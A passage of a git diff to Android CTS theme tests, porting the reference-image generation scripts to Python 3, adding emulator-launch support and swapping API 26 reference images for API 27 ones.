+     you can use Nexus 5 as a template. Name the emulator "theme_emulator".
 
-     adb devices
-
-  3. Set up your build environment for x86_64 and build CTS:
+  4. From the console, set up your build environment for x86_64 and build CTS:
 
      lunch sdk_x86_64-eng && make cts -j32
 
-  2. Generate the reference images. Generation occurs on all devices in
-     parallel. Resulting sets of reference images are automatically saved in
-     assets/<platform>/<dpi>.zip and will overwrite any existing sets. Image
-     generation may be started using:
+  5. Use the reference image script to generate the reference images. The script
+     will automatically start the emulator in the required configurations and
+     install the resulting reference images in assets/<platform>/<dpi>.zip,
+     overwriting any existing images.
 
-     ./cts/hostsidetests/theme/generate_images.sh
+     ./cts/hostsidetests/theme/generate_images.py theme_emulator
+
+You can also generate reference images using a real device. To generate a new set
+of reference images from a real device, do the following:
+
+  1. Connect the device. Verify the device is connected:
+
+     adb devices
+
+  2. Use the reference image script to generate the reference images:
+
+     ./cts/hostsidetests/theme/generate_images.py
 
 A complete collection of reference images for a given API revision must include
 a set for each possible DPI bucket (tvdpi, xxhdpi, etc.) that may be tested.
diff --git a/hostsidetests/theme/android_device.py b/hostsidetests/theme/android_device.py
index 4c7d8d1..7711060 100644
--- a/hostsidetests/theme/android_device.py
+++ b/hostsidetests/theme/android_device.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env python
+#!/usr/bin/python3
 #
 # Copyright (C) 2015 The Android Open Source Project
 #
@@ -17,106 +17,119 @@
 
 import os
 import re
+import subprocess
 import sys
 import threading
-import subprocess
 import time
 
+from subprocess import PIPE
+
+
 # class for running android device from python
 # it will fork the device processor
-class androidDevice(object):
-    def __init__(self, adbDevice):
-        self._adbDevice = adbDevice
+class AndroidDevice(object):
+    def __init__(self, serial):
+        self._serial = serial
 
-    def runAdbCommand(self, cmd):
-        self.waitForAdbDevice()
-        adbCmd = "adb -s %s %s" %(self._adbDevice, cmd)
-        print adbCmd
-        adbProcess = subprocess.Popen(adbCmd.split(" "), bufsize = -1, stdout = subprocess.PIPE, stderr = subprocess.PIPE)
-        return adbProcess.communicate()
+    def run_adb_command(self, cmd, timeout=None):
+        adb_cmd = "adb -s %s %s" % (self._serial, cmd)
+        print(adb_cmd)
 
-    def runShellCommand(self, cmd):
-        return self.runAdbCommand("shell " + cmd)
+        adb_process = subprocess.Popen(args=adb_cmd.split(), bufsize=-1, stderr=PIPE, stdout=PIPE)
+        (out, err) = adb_process.communicate(timeout=timeout)
+        return out.decode('utf-8').strip(), err.decode('utf-8').strip()
 
-    def waitForAdbDevice(self):
-        print "waitForAdbDevice"
-        os.system("adb -s %s wait-for-device" %self._adbDevice)
+    def run_shell_command(self, cmd):
+        return self.run_adb_command("shell %s" % cmd)
 
-    def waitForBootComplete(self, timeout = 240):
+    def wait_for_device(self, timeout=30):
+        return self.run_adb_command('wait-for-device', timeout)
+
+    def wait_for_prop(self, key, value, timeout=30):
         boot_complete = False
         attempts = 0
-        wait_period = 5
+        wait_period = 1
         while not boot_complete and (attempts*wait_period) < timeout:
-            (output, err) = self.runShellCommand("getprop dev.bootcomplete")
-            output = output.strip()
-            if output == "1":
+            (out, err) = self.run_shell_command("getprop %s" % key)
+            if out == value:
                 boot_complete = True
             else:
                 time.sleep(wait_period)
                 attempts += 1
         if not boot_complete:
-            print "***boot not complete within timeout. will proceed to the next step"
+            print("%s not set to %s within timeout!" % (key, value))
         return boot_complete
 
-    def installApk(self, apkPath):
-        (out, err) = self.runAdbCommand("install -r -d -g " + apkPath)
-        result = err.split()
-        return (out, err, "Success" in result)
+    def wait_for_service(self, name, timeout=30):
+        service_found = False
+        attempts = 0
+        wait_period = 1
+        while not service_found and (attempts*wait_period) < timeout:
+            (output, err) = self.run_shell_command("service check %s" % name)
+            if 'not found' not in output:
+                service_found = True
+            else:
+                time.sleep(wait_period)
+                attempts += 1
+        if not service_found:
+            print("Service '%s' not found within timeout!" % name)
+        return service_found
 
-    def uninstallApk(self, package):
-        (out, err) = self.runAdbCommand("uninstall " + package)
-        result = err.split()
+    def wait_for_boot_complete(self, timeout=60):
+        return self.wait_for_prop('dev.bootcomplete', '1', timeout)
+
+    def install_apk(self, apk_path):
+        self.wait_for_service('package')
+        (out, err) = self.run_adb_command("install -r -d -g %s" % apk_path)
+        result = out.split()
+        return out, err, "Success" in result
+
+    def uninstall_package(self, package):
+        self.wait_for_service('package')
+        (out, err) = self.run_adb_command("uninstall %s" % package)
+        result = out.split()
         return "Success" in result
 
-    def runInstrumentationTest(self, option):
-        return self.runShellCommand("am instrument -w --no-window-animation " + option)
+    def run_instrumentation_test(self, option):
+        self.wait_for_service('activity')
+        return self.run_shell_command("am instrument -w --no-window-animation %s" % option)
 
-    def isProcessAlive(self, processName):
-        (out, err) = self.runShellCommand("ps")
+    def is_process_alive(self, process_name):
+        (out, err) = self.run_shell_command("ps")
         names = out.split()
         # very lazy implementation as it does not filter out things like uid
         # should work mostly unless processName is too simple to overlap with
         # uid. So only use name like com.android.xyz
-        return processName in names
+        return process_name in names
 
-    def getVersionSdkInt(self):
-        return int(self.runShellCommand("getprop ro.build.version.sdk")[0])
+    def get_version_sdk(self):
+        return int(self.run_shell_command("getprop ro.build.version.sdk")[0])
 
-    def getVersionCodename(self):
-        return self.runShellCommand("getprop ro.build.version.codename")[0].strip()
+    def get_version_codename(self):
+        return self.run_shell_command("getprop ro.build.version.codename")[0].strip()
 
-    def getDensity(self):
-        if "emulator" in self._adbDevice:
-          return int(self.runShellCommand("getprop qemu.sf.lcd_density")[0])
+    def get_density(self):
+        if "emulator" in self._serial:
+            return int(self.run_shell_command("getprop qemu.sf.lcd_density")[0])
         else:
-          return int(self.runShellCommand("getprop ro.sf.lcd_density")[0])
+            return int(self.run_shell_command("getprop ro.sf.lcd_density")[0])
 
-    def getSdkLevel(self):
-        return int(self.runShellCommand("getprop ro.build.version.sdk")[0])
+    def get_orientation(self):
+        return int(self.run_shell_command("dumpsys | grep SurfaceOrientation")[0].split()[1])
 
-    def getOrientation(self):
-        return int(self.runShellCommand("dumpsys | grep SurfaceOrientation")[0].split()[1])
 
-    # Running dumpsys on the emulator currently yields a SIGSEGV, so don't do it.
-    #
-    #def getHWType(self):
-    #    (output, err) = self.runShellCommand("dumpsys | grep android.hardware.type")
-    #    output = output.strip()
-    #    return output
-
-def runAdbDevices():
+def enumerate_android_devices(require_prefix=''):
     devices = subprocess.check_output(["adb", "devices"])
-    devices = devices.split('\n')[1:]
+    if not devices:
+        return []
 
-    deviceSerial = []
+    devices = devices.decode('UTF-8').split('\n')[1:]
+    device_list = []
 
     for device in devices:
-        if device is not "":
+        if device is not "" and device.startswith(require_prefix):
             info = device.split('\t')
             if info[1] == "device":
-                deviceSerial.append(info[0])
+                device_list.append(info[0])
 
-    return deviceSerial
-
-if __name__ == '__main__':
-    main(sys.argv)
+    return device_list
diff --git a/hostsidetests/theme/app/Android.mk b/hostsidetests/theme/app/Android.mk
index cb97bc0..de63355 100644
--- a/hostsidetests/theme/app/Android.mk
+++ b/hostsidetests/theme/app/Android.mk
@@ -36,7 +36,7 @@
 LOCAL_PACKAGE_NAME := CtsThemeDeviceApp
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := 23
 
diff --git a/hostsidetests/theme/app/src/android/theme/app/ThemeDeviceActivity.java b/hostsidetests/theme/app/src/android/theme/app/ThemeDeviceActivity.java
index 8709f14..9469a0c 100644
--- a/hostsidetests/theme/app/src/android/theme/app/ThemeDeviceActivity.java
+++ b/hostsidetests/theme/app/src/android/theme/app/ThemeDeviceActivity.java
@@ -18,6 +18,7 @@
 
 import android.app.Activity;
 import android.content.Intent;
+import android.content.res.Configuration;
 import android.os.Build;
 import android.os.Bundle;
 import android.theme.app.modifiers.DatePickerModifier;
@@ -76,6 +77,11 @@
         mTheme = THEMES[themeIndex];
 
         setTheme(mTheme.id);
+
+        // Force text scaling to 1.0 regardless of system default.
+        Configuration config = new Configuration();
+        config.fontScale = 1.0f;
+        getResources().updateConfiguration(config, null);
         setContentView(R.layout.theme_test);
 
         mViewGroup = (ReferenceViewGroup) findViewById(R.id.reference_view_group);
diff --git a/hostsidetests/theme/assets/26/360dpi.zip b/hostsidetests/theme/assets/26/360dpi.zip
deleted file mode 100644
index 80b0527..0000000
--- a/hostsidetests/theme/assets/26/360dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/26/420dpi.zip b/hostsidetests/theme/assets/26/420dpi.zip
deleted file mode 100644
index 2d3f70b..0000000
--- a/hostsidetests/theme/assets/26/420dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/26/560dpi.zip b/hostsidetests/theme/assets/26/560dpi.zip
deleted file mode 100644
index 88d481e..0000000
--- a/hostsidetests/theme/assets/26/560dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/26/hdpi.zip b/hostsidetests/theme/assets/26/hdpi.zip
deleted file mode 100644
index 68702ef..0000000
--- a/hostsidetests/theme/assets/26/hdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/26/mdpi.zip b/hostsidetests/theme/assets/26/mdpi.zip
deleted file mode 100644
index d90714c..0000000
--- a/hostsidetests/theme/assets/26/mdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/26/xhdpi.zip b/hostsidetests/theme/assets/26/xhdpi.zip
deleted file mode 100644
index c2e2ed0..0000000
--- a/hostsidetests/theme/assets/26/xhdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/26/xxhdpi.zip b/hostsidetests/theme/assets/26/xxhdpi.zip
deleted file mode 100644
index 55a943b..0000000
--- a/hostsidetests/theme/assets/26/xxhdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/26/xxxhdpi.zip b/hostsidetests/theme/assets/26/xxxhdpi.zip
deleted file mode 100644
index bcbee87..0000000
--- a/hostsidetests/theme/assets/26/xxxhdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/27/260dpi.zip b/hostsidetests/theme/assets/27/260dpi.zip
new file mode 100644
index 0000000..3bfe1e9
--- /dev/null
+++ b/hostsidetests/theme/assets/27/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/280dpi.zip b/hostsidetests/theme/assets/27/280dpi.zip
new file mode 100644
index 0000000..4ceaab3
--- /dev/null
+++ b/hostsidetests/theme/assets/27/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/300dpi.zip b/hostsidetests/theme/assets/27/300dpi.zip
new file mode 100644
index 0000000..fbc8b2d
--- /dev/null
+++ b/hostsidetests/theme/assets/27/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/340dpi.zip b/hostsidetests/theme/assets/27/340dpi.zip
new file mode 100644
index 0000000..c244d86
--- /dev/null
+++ b/hostsidetests/theme/assets/27/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/360dpi.zip b/hostsidetests/theme/assets/27/360dpi.zip
new file mode 100644
index 0000000..ee3465a
--- /dev/null
+++ b/hostsidetests/theme/assets/27/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/400dpi.zip b/hostsidetests/theme/assets/27/400dpi.zip
new file mode 100644
index 0000000..8d5c84a
--- /dev/null
+++ b/hostsidetests/theme/assets/27/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/420dpi.zip b/hostsidetests/theme/assets/27/420dpi.zip
new file mode 100644
index 0000000..e5e228c
--- /dev/null
+++ b/hostsidetests/theme/assets/27/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/560dpi.zip b/hostsidetests/theme/assets/27/560dpi.zip
new file mode 100644
index 0000000..cd3b7e2
--- /dev/null
+++ b/hostsidetests/theme/assets/27/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/hdpi.zip b/hostsidetests/theme/assets/27/hdpi.zip
new file mode 100644
index 0000000..f2c95ed
--- /dev/null
+++ b/hostsidetests/theme/assets/27/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/ldpi.zip b/hostsidetests/theme/assets/27/ldpi.zip
new file mode 100644
index 0000000..6e441b7
--- /dev/null
+++ b/hostsidetests/theme/assets/27/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/mdpi.zip b/hostsidetests/theme/assets/27/mdpi.zip
new file mode 100644
index 0000000..9044082
--- /dev/null
+++ b/hostsidetests/theme/assets/27/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/tvdpi.zip b/hostsidetests/theme/assets/27/tvdpi.zip
new file mode 100644
index 0000000..38531ba
--- /dev/null
+++ b/hostsidetests/theme/assets/27/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/xhdpi.zip b/hostsidetests/theme/assets/27/xhdpi.zip
new file mode 100644
index 0000000..34e6834
--- /dev/null
+++ b/hostsidetests/theme/assets/27/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/xxhdpi.zip b/hostsidetests/theme/assets/27/xxhdpi.zip
new file mode 100644
index 0000000..f628e5b
--- /dev/null
+++ b/hostsidetests/theme/assets/27/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/xxxhdpi.zip b/hostsidetests/theme/assets/27/xxxhdpi.zip
new file mode 100644
index 0000000..5d9ef51
--- /dev/null
+++ b/hostsidetests/theme/assets/27/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/OMR1 b/hostsidetests/theme/assets/OMR1
deleted file mode 120000
index 978b4e8..0000000
--- a/hostsidetests/theme/assets/OMR1
+++ /dev/null
@@ -1 +0,0 @@
-26
\ No newline at end of file
diff --git a/hostsidetests/theme/assets/P b/hostsidetests/theme/assets/P
deleted file mode 120000
index 978b4e8..0000000
--- a/hostsidetests/theme/assets/P
+++ /dev/null
@@ -1 +0,0 @@
-26
\ No newline at end of file
diff --git a/hostsidetests/theme/assets/tvdpi.zip b/hostsidetests/theme/assets/tvdpi.zip
deleted file mode 100755
index 553657f9b..0000000
--- a/hostsidetests/theme/assets/tvdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/avd.py b/hostsidetests/theme/avd.py
new file mode 100644
index 0000000..4c444a21
--- /dev/null
+++ b/hostsidetests/theme/avd.py
@@ -0,0 +1,81 @@
+#!/usr/bin/python3
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the 'License');
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an 'AS IS' BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+import functools
+import math
+import socket
+import subprocess
+import sys
+import tempfile
+
+from android_device import *
+
+
+def find_free_port():
+    s = socket.socket()
+    s.bind(('', 0))
+    return int(s.getsockname()[1])
+
+
+class AVD(object):
+    def __init__(self, name, emu_path):
+        self._name = name
+        self._emu_path = emu_path
+        self._opts = ''
+        self._adb_name = None
+        self._emu_proc = None
+
+    def start(self):
+        if self._emu_proc:
+            raise Exception('Emulator already running')
+
+        port_adb = find_free_port()
+        port_tty = find_free_port()
+        # -no-window might be useful here
+        emu_cmd = "%s -avd %s %s-ports %d,%d" \
+                  % (self._emu_path, self._name, self._opts, port_adb, port_tty)
+        print(emu_cmd)
+
+        emu_proc = subprocess.Popen(emu_cmd.split(" "), bufsize=-1, stdout=subprocess.PIPE,
+                                    stderr=subprocess.PIPE)
+
+        # The emulator ought to be starting now.
+        self._adb_name = "emulator-%d" % (port_tty - 1)
+        self._emu_proc = emu_proc
+
+    def stop(self):
+        if not self._emu_proc:
+            raise Exception('Emulator not currently running')
+        self._emu_proc.kill()
+        (out, err) = self._emu_proc.communicate()
+        self._emu_proc = None
+        return out, err
+
+    def get_serial(self):
+        if not self._emu_proc:
+            raise Exception('Emulator not currently running')
+        return self._adb_name
+
+    def get_device(self):
+        if not self._emu_proc:
+            raise Exception('Emulator not currently running')
+        return AndroidDevice(self._adb_name)
+
+    def configure_screen(self, density, width_dp, height_dp):
+        width_px = int(math.ceil(width_dp * density / 1600) * 10)
+        height_px = int(math.ceil(height_dp * density / 1600) * 10)
+        self._opts = "-prop qemu.sf.lcd_density=%d -skin %dx%d " % (density, width_px, height_px)
diff --git a/hostsidetests/theme/generate_images.py b/hostsidetests/theme/generate_images.py
new file mode 100755
index 0000000..f243ea4
--- /dev/null
+++ b/hostsidetests/theme/generate_images.py
@@ -0,0 +1,244 @@
+#!/usr/bin/python3
+#
+# Copyright (C) 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the 'License');
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an 'AS IS' BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+import os
+import sys
+import tempfile
+import threading
+import time
+import traceback
+
+from android_device import *
+from avd import *
+from queue import Queue, Empty
+
+
+# This dict should contain one entry for every density listed in CDD 7.1.1.3.
+CTS_THEME_dict = {
+    120: "ldpi",
+    160: "mdpi",
+    213: "tvdpi",
+    240: "hdpi",
+    260: "260dpi",
+    280: "280dpi",
+    300: "300dpi",
+    320: "xhdpi",
+    340: "340dpi",
+    360: "360dpi",
+    400: "400dpi",
+    420: "420dpi",
+    480: "xxhdpi",
+    560: "560dpi",
+    640: "xxxhdpi",
+}
+
+OUT_FILE = "/sdcard/cts-theme-assets.zip"
+
+
+class ParallelExecutor(threading.Thread):
+    def __init__(self, tasks, setup, q):
+        threading.Thread.__init__(self)
+        self._q = q
+        self._tasks = tasks
+        self._setup = setup
+        self._result = 0
+
+    def run(self):
+        try:
+            while True:
+                config = self._q.get(block=True, timeout=2)
+                for t in self._tasks:
+                    try:
+                        if t(self._setup, config):
+                            self._result += 1
+                    except KeyboardInterrupt:
+                        raise
+                    except:
+                        print("Failed to execute thread:", sys.exc_info()[0])
+                        traceback.print_exc()
+                self._q.task_done()
+        except KeyboardInterrupt:
+            raise
+        except Empty:
+            pass
+
+    def get_result(self):
+        return self._result
+
+
+# pass a function with number of instances to be executed in parallel
+# each thread continues until config q is empty.
+def execute_parallel(tasks, setup, q, num_threads):
+    result = 0
+    threads = []
+    for i in range(num_threads):
+        t = ParallelExecutor(tasks, setup, q)
+        t.start()
+        threads.append(t)
+    for t in threads:
+        t.join()
+        result += t.get_result()
+    return result
+
+
+def print_adb_result(device, out, err):
+    print("device: " + device)
+    if out is not None:
+        print("out:\n" + out)
+    if err is not None:
+        print("err:\n" + err)
+
+
+def do_capture(setup, device_serial):
+    (themeApkPath, out_path) = setup
+
+    device = AndroidDevice(device_serial)
+
+    version = device.get_version_codename()
+    if version == "REL":
+        version = str(device.get_version_sdk())
+
+    density = device.get_density()
+
+    if CTS_THEME_dict[density]:
+        density_bucket = CTS_THEME_dict[density]
+    else:
+        density_bucket = str(density) + "dpi"
+
+    out_file = os.path.join(out_path, os.path.join(version, "%s.zip" % density_bucket))
+
+    device.uninstall_package('android.theme.app')
+
+    (out, err, success) = device.install_apk(themeApkPath)
+    if not success:
+        print("Failed to install APK on " + device_serial)
+        print_adb_result(device_serial, out, err)
+        return False
+
+    print("Generating images on " + device_serial + "...")
+    try:
+        (out, err) = device.run_instrumentation_test(
+            "android.theme.app/android.support.test.runner.AndroidJUnitRunner")
+    except KeyboardInterrupt:
+        raise
+    except:
+        (out, err) = device.run_instrumentation_test(
+            "android.theme.app/android.test.InstrumentationTestRunner")
+
+    # Detect test failure and abort.
+    if "FAILURES!!!" in out.split():
+        print_adb_result(device_serial, out, err)
+        return False
+
+    # Make sure that the run is complete by checking the process itself
+    print("Waiting for " + device_serial + "...")
+    wait_time = 0
+    while device.is_process_alive("android.theme.app"):
+        time.sleep(1)
+        wait_time = wait_time + 1
+        if wait_time > 180:
+            print("Timed out")
+            break
+
+    time.sleep(10)
+
+    print("Pulling images from " + device_serial + " to " + out_file)
+    device.run_adb_command("pull " + OUT_FILE + " " + out_file)
+    device.run_adb_command("shell rm -rf " + OUT_FILE)
+    return True
+
+
+def get_emulator_path():
+    if 'ANDROID_SDK_ROOT' not in os.environ:
+        print('Environment variable ANDROID_SDK_ROOT must point to your Android SDK root.')
+        sys.exit(1)
+
+    sdk_path = os.environ['ANDROID_SDK_ROOT']
+    if not os.path.isdir(sdk_path):
+        print("Failed to find Android SDK at ANDROID_SDK_ROOT: %s" % sdk_path)
+        sys.exit(1)
+
+    emu_path = os.path.join(os.path.join(sdk_path, 'tools'), 'emulator')
+    if not os.path.isfile(emu_path):
+        print("Failed to find emulator within ANDROID_SDK_ROOT: %s" % sdk_path)
+        sys.exit(1)
+
+    return emu_path
+
+
+def start_emulator(name, density):
+    emu_path = get_emulator_path()
+
+    # Start emulator for 560dpi, normal screen size.
+    test_avd = AVD(name, emu_path)
+    test_avd.configure_screen(density, 360, 640)
+    test_avd.start()
+    try:
+        test_avd_device = test_avd.get_device()
+        test_avd_device.wait_for_device()
+        test_avd_device.wait_for_boot_complete()
+        return test_avd
+    except:
+        test_avd.stop()
+        return None
+
+
+def main(argv):
+    if 'ANDROID_BUILD_TOP' not in os.environ or 'ANDROID_HOST_OUT' not in os.environ:
+        print('Missing environment variables. Did you run build/envsetup.sh and lunch?')
+        sys.exit(1)
+
+    theme_apk = os.path.join(os.environ['ANDROID_HOST_OUT'],
+                             'cts/android-cts/testcases/CtsThemeDeviceApp.apk')
+    if not os.path.isfile(theme_apk):
+        print('Couldn\'t find test APK. Did you run make cts?')
+        sys.exit(1)
+
+    out_path = os.path.join(os.environ['ANDROID_BUILD_TOP'],
+                            'cts/hostsidetests/theme/assets')
+    os.system("mkdir -p %s" % out_path)
+
+    if len(argv) is 2:
+        for density in CTS_THEME_dict.keys():
+            emulator = start_emulator(argv[1], density)
+            result = do_capture(setup=(theme_apk, out_path), device_serial=emulator.get_serial())
+            emulator.stop()
+            if result:
+                print("Generated reference images for %ddpi" % density)
+            else:
+                print("Failed to generate reference images for %ddpi" % density)
+                break
+    else:
+        tasks = [do_capture]
+        setup = (theme_apk, out_path)
+
+        devices = enumerate_android_devices()
+
+        device_queue = Queue()
+        for device in devices:
+            device_queue.put(device)
+
+        result = execute_parallel(tasks, setup, device_queue, len(devices))
+
+        if result > 0:
+            print('Generated reference images for %(count)d devices' % {"count": result})
+        else:
+            print('Failed to generate reference images')
+
+
+if __name__ == '__main__':
+    main(sys.argv)
diff --git a/hostsidetests/theme/generate_images.sh b/hostsidetests/theme/generate_images.sh
deleted file mode 100755
index 129efc8..0000000
--- a/hostsidetests/theme/generate_images.sh
+++ /dev/null
@@ -1,55 +0,0 @@
-#!/bin/sh
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# This script is used to generate reference images for the CTS theme tests.
-# See the accompanying README file for more information.
-
-# retry <command> <tries> <message> <delay>
-function retry {
-  RETRY="0"
-  while true; do
-    if (("$RETRY" >= "$2")); then
-      echo $OUTPUT
-      exit
-    fi
-
-    OUTPUT=`$1 |& grep error`
-
-    if [ -z "$OUTPUT" ]; then
-      break
-    fi
-
-    echo $3
-    sleep $4
-    RETRY=$[$RETRY + 1]
-  done
-}
-
-themeApkPath="$ANDROID_HOST_OUT/cts/android-cts/testcases/CtsThemeDeviceApp.apk"
-outDir="$ANDROID_BUILD_TOP/cts/hostsidetests/theme/assets"
-exe="$ANDROID_BUILD_TOP/cts/hostsidetests/theme/run_theme_capture_device.py"
-
-if [ -z "$ANDROID_BUILD_TOP" ]; then
-  echo "Missing environment variables. Did you run build/envsetup.sh and lunch?"
-  exit
-fi
-
-if [ ! -e "$themeApkPath" ]; then
-  echo "Couldn't find test APK. Did you run make cts?"
-  exit
-fi
-
-adb devices
-python $exe $themeApkPath $outDir
diff --git a/hostsidetests/theme/run_theme_capture_device.py b/hostsidetests/theme/run_theme_capture_device.py
deleted file mode 100755
index d37864f..0000000
--- a/hostsidetests/theme/run_theme_capture_device.py
+++ /dev/null
@@ -1,180 +0,0 @@
-#!/usr/bin/env python
-#
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the 'License');
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an 'AS IS' BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-import os
-import sys
-import threading
-import time
-import traceback
-import Queue
-sys.path.append(sys.path[0])
-from android_device import *
-
-CTS_THEME_dict = {
-    120 : "ldpi",
-    160 : "mdpi",
-    240 : "hdpi",
-    320 : "xhdpi",
-    480 : "xxhdpi",
-    640 : "xxxhdpi",
-}
-
-OUT_FILE = "/sdcard/cts-theme-assets.zip"
-
-# pass a function with number of instances to be executed in parallel
-# each thread continues until config q is empty.
-def executeParallel(tasks, setup, q, numberThreads):
-    class ParallelExecutor(threading.Thread):
-        def __init__(self, tasks, q):
-            threading.Thread.__init__(self)
-            self._q = q
-            self._tasks = tasks
-            self._setup = setup
-            self._result = 0
-
-        def run(self):
-            try:
-                while True:
-                    config = q.get(block=True, timeout=2)
-                    for t in self._tasks:
-                        try:
-                            if t(self._setup, config):
-                                self._result += 1
-                        except KeyboardInterrupt:
-                            raise
-                        except:
-                            print "Failed to execute thread:", sys.exc_info()[0]
-                            traceback.print_exc()
-                    q.task_done()
-            except KeyboardInterrupt:
-                raise
-            except Queue.Empty:
-                pass
-
-        def getResult(self):
-            return self._result
-
-    result = 0;
-    threads = []
-    for i in range(numberThreads):
-        t = ParallelExecutor(tasks, q)
-        t.start()
-        threads.append(t)
-    for t in threads:
-        t.join()
-        result += t.getResult()
-    return result;
-
-def printAdbResult(device, out, err):
-    print "device: " + device
-    if out is not None:
-        print "out:\n" + out
-    if err is not None:
-        print "err:\n" + err
-
-def getResDir(outPath, resName):
-    resDir = outPath + "/" + resName
-    return resDir
-
-def doCapturing(setup, deviceSerial):
-    (themeApkPath, outPath) = setup
-
-    print "Found device: " + deviceSerial
-    device = androidDevice(deviceSerial)
-
-    version = device.getVersionCodename()
-    if version == "REL":
-        version = str(device.getVersionSdkInt())
-
-    density = device.getDensity()
-
-    # Reference images generated for tv should not be categorized by density
-    # rather by tv type. This is because TV uses leanback-specific material
-    # themes.
-    if CTS_THEME_dict.has_key(density):
-        densityBucket = CTS_THEME_dict[density]
-    else:
-        densityBucket = str(density) + "dpi"
-
-    resName = os.path.join(version, densityBucket)
-
-    device.uninstallApk("android.theme.app")
-
-    (out, err, success) = device.installApk(themeApkPath)
-    if not success:
-        print "Failed to install APK on " + deviceSerial
-        printAdbResult(deviceSerial, out, err)
-        return False
-
-    print "Generating images on " + deviceSerial + "..."
-    try:
-        (out, err) = device.runInstrumentationTest("android.theme.app/android.support.test.runner.AndroidJUnitRunner")
-    except KeyboardInterrupt:
-        raise
-    except:
-        (out, err) = device.runInstrumentationTest("android.theme.app/android.test.InstrumentationTestRunner")
-
-    # Detect test failure and abort.
-    if "FAILURES!!!" in out.split():
-        printAdbResult(deviceSerial, out, err)
-        return False
-
-    # Make sure that the run is complete by checking the process itself
-    print "Waiting for " + deviceSerial + "..."
-    waitTime = 0
-    while device.isProcessAlive("android.theme.app"):
-        time.sleep(1)
-        waitTime = waitTime + 1
-        if waitTime > 180:
-            print "Timed out"
-            break
-
-    time.sleep(10)
-    resDir = getResDir(outPath, resName)
-
-    print "Pulling images from " + deviceSerial + " to " + resDir + ".zip"
-    device.runAdbCommand("pull " + OUT_FILE + " " + resDir + ".zip")
-    device.runAdbCommand("shell rm -rf " + OUT_FILE)
-    return True
-
-def main(argv):
-    if len(argv) < 3:
-        print "run_theme_capture_device.py themeApkPath outDir"
-        sys.exit(1)
-    themeApkPath = argv[1]
-    outPath = os.path.abspath(argv[2])
-    os.system("mkdir -p " + outPath)
-
-    tasks = []
-    tasks.append(doCapturing)
-
-    devices = runAdbDevices();
-    numberThreads = len(devices)
-
-    configQ = Queue.Queue()
-    for device in devices:
-        configQ.put(device)
-    setup = (themeApkPath, outPath)
-    result = executeParallel(tasks, setup, configQ, numberThreads)
-
-    if result > 0:
-        print 'Generated reference images for %(count)d devices' % {"count": result}
-    else:
-        print 'Failed to generate reference images'
-
-if __name__ == '__main__':
-    main(sys.argv)
diff --git a/hostsidetests/theme/src/android/theme/cts/ColorUtils.java b/hostsidetests/theme/src/android/theme/cts/ColorUtils.java
deleted file mode 100644
index 0bbc9c7..0000000
--- a/hostsidetests/theme/src/android/theme/cts/ColorUtils.java
+++ /dev/null
@@ -1,198 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
